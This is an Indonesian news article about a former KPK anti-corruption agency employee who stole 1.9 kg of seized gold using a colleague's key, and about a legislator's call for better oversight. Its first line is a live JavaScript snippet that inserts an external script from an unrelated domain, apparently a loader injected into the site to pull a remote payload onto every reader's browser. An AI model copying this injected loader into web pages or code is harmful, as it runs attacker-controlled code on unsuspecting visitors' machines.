(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Eks Pegawai Maling Emas, DPR ke KPK: Jangan Main-main dengan Barang Sitaan!


KANALKALIMANTAN.COM, JAKARTA – Wakil Ketua Komisi III DPR, Pangeran Khairul Saleh meminta kasus pencurian barang bukti berupa emas 1,9 kg oleh eks pagawai dijadikan pelajaran bagi KPK. Ia juga memberikan ultimatum agar pegawai lain yang masih bekerja tidak mengulangi kesalahan serupa yang dilakukan pelaku berinisial IGA.

“Permasalahan ini dapat dijadikan pembelajaran bagi pegawai KPK yang lain agar tidak bermain-main dengan barang sitaan yang kemudian digunakan untuk kepentingan pribadi,” kata Pangeran dalam keterangannya, Senin (12/4/2021).

Pangeran sekaligus mengapresiasi langkah KPK yang secara terbuka menyampaikan persoalan internal. Ia menilai langkah KPK yang memecat dan melaporkan IGA sebagai upaya menjaga integritas KPK sebagai bentuk upaya menjaga amanah serta harapan masyarakat Indonesia kepada lembaga antirasuah.

Ia meminta ke depannya KPK melalukan evaluasi terhadap sistem pengawasan dan prosedur operasional kerja.

“Selalu ada ruang perbaikan untuk memperkuat sisi pengawasan sistem operasional kerja. Tentu yang dilakukan oleh pegawai KPK tersebut telah mencoreng reputasi KPK sendiri. Karena kita ketahui pegawai yang mencuri barang bukti tersebut merupakan anggota satgas yang ditugaskan menyimpan dan mengelola barang bukti pada direktorat Labuksi KPK,” kata Pangeran.

Baca juga : Beli Motor, Pasutri Ini Bawa 31 Ribu Keping Koin

Kronolgi Eks Pegawai KPK Maling Barbuk

 

Wakil Ketua Komisi Pemberantasan Korupsi (KPK) Nurul Ghufron menjelaskan kronologi IGA bisa mencuri emas batangan 1,9 kilogram dari tempat penyimpanan Direktorat Pelacakan Aset, Pengelolaan Barang Bukti, dan Eksekusi (Labuksi).

Ghufron mengatakan, untuk menuju tempat penyimpanan barang bukti atau sitaan koruptor perlu melewari pintu sebanyak tiga lapis. Dia mengklaim petugas KPK tak bisa sembarangan masuk karena setiap pintu gedung Labuksi KPK memiliki kunci yang berbeda.

Ghufron menyebut IGA memang salah satu Satgas KPK yang bertugas di tempat penyimpanan barang bukti. Namun, klaim Ghufron, IGA tak juga bisa sembarang masuk ke tempat penyimpanan emas. Maka itu, dia mencuri kunci untuk menuju tempat emas batangan tersebut.

“Sesungguhnya memang dia (IGA) berhak satu tahap (pemegang kunci). Tapi, untuk tahap berikutnya, pakai kunci dan kuncinya itu ada di tahap orang lain tapi di tasnya. Itu diambil di tasnya. Jadi, dia mencurinya, mencuri ada tiga orang tiga lapis,” ucap Ghufron di Gedung Merah Putih KPK.

Baca juga : CATAT! Ini Tahapan Langkah Peserta UTBK SBMPTN 2021 Saat Tiba di Lokasi Ujian

“Orang pertama untuk masuk ke tahap berikutnya harus melalui tahap kunci di orang kedua. Nah kunci di tangan orang kedua dia curi di tasnya itupun tidak diketahui, itu yang terjadi,” tambah Ghufron

Menurut Ghufron, karena IGA juga salah satu petugas di bagian itu, pegawai lain pun tak menaruh curiga. Dan tak, mengetahui bahwa IGA mengambil kunci.

“Tapi karena pemegang kunci itu, karena sudah merasa akrab, sehingga tasnya juga ditempatkan di tempat yang dia (tersangka IGA) tahu. Nah, itu yang fatal terjadi,” ungkap Ghufron.

 

Dipecat dan Dilaporkan Polisi

 

Seperti diketahui, IGA sudah dipecat secara tidak terhormat oleh Dewan Pengawas KPK melalui sidang etik.

Dia terbukti bersalah mencuri emas batangan milik sitaan koruptor eks Pejabat Kementerian Keuangan Yaya Purnomo. IGA nekat mencuri karena terlilit hutang karena terlibat permainan bisnis Forex.

Atas ulahnya, eks Satgas KPK itu dinyatakan telah merugikan keuangan negara juga telah menodai integritas KPK sebagai lembaga antikorupsi.

Selain dipecat, secara tidak hormat. IGA juga dilaporkan ke polisi terkait kasus pencurian emas. Kasus itu telah ditangani oleh Polres Jakarta Selatan. (suara.com)

Editor : kk

 

 


Al Ghifari

Recent Posts

Merancang Kota Metropolitan di Kalsel dari RPJPD Kota Banjarbaru 2025-2045

KANALKALIMANTAN.COM, BANJARBARU – Menjadikan Kota Banjarbaru sebagai kota metropolitan di Provinsi Kalimantan Selatan (Kalsel) masuk… Read More

2 jam ago

Lomba Balogo Meriahkan Hari Jadi ke-72 Kabupaten HSU

KANALKALIMANTAN.COM, AMUNTAI - Lomba balogo meramaikan rangkaian Hari Jadi ke-72 Kabupaten Hulu Sungai Utara (HSU).… Read More

3 jam ago

Bupati Banjar Buka Sosialisasi dan Rakor Penyelenggaraan Administrasi Pemerintahan Desa

KANALKALIMANTAN.COM, MARTAPURA - Bupati Banjar H Saidi Mansyur membuka Sosialisasi dan Rapat Koordinasi (Rakor) Penyelenggaraan… Read More

3 jam ago

Dinas PUPR Berikan Pedoman Standar Penggunaan Air Minum dan Sanitasi bagi Masyarakat

KANALKALIMANTAN.COM, BANJARBARU - Setiap tahunnya, pemerintah daerah dan pusat berupaya untuk meningkatkan akses terhadap air… Read More

3 jam ago

Nobar Timnas di Balai Kota Banjarbaru Berizin Resmi Pemegang Hak Siar

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota Banjarbaru memfasilitasi masyarakat nonton bareng memberikan dukungan kepada Tim Nasional… Read More

4 jam ago

Dekranasda HSU Tawarkan Produk Kerajinan UMKM di Bazar MTQ

KANALKALIMANTAN.COM, RANTAU - Dinas Koperasi UKM Perindustrian dan Perdagangan (Diskoperindag) Kabupaten Hulu Sungai Utara (HSU)… Read More

4 jam ago

This website uses cookies.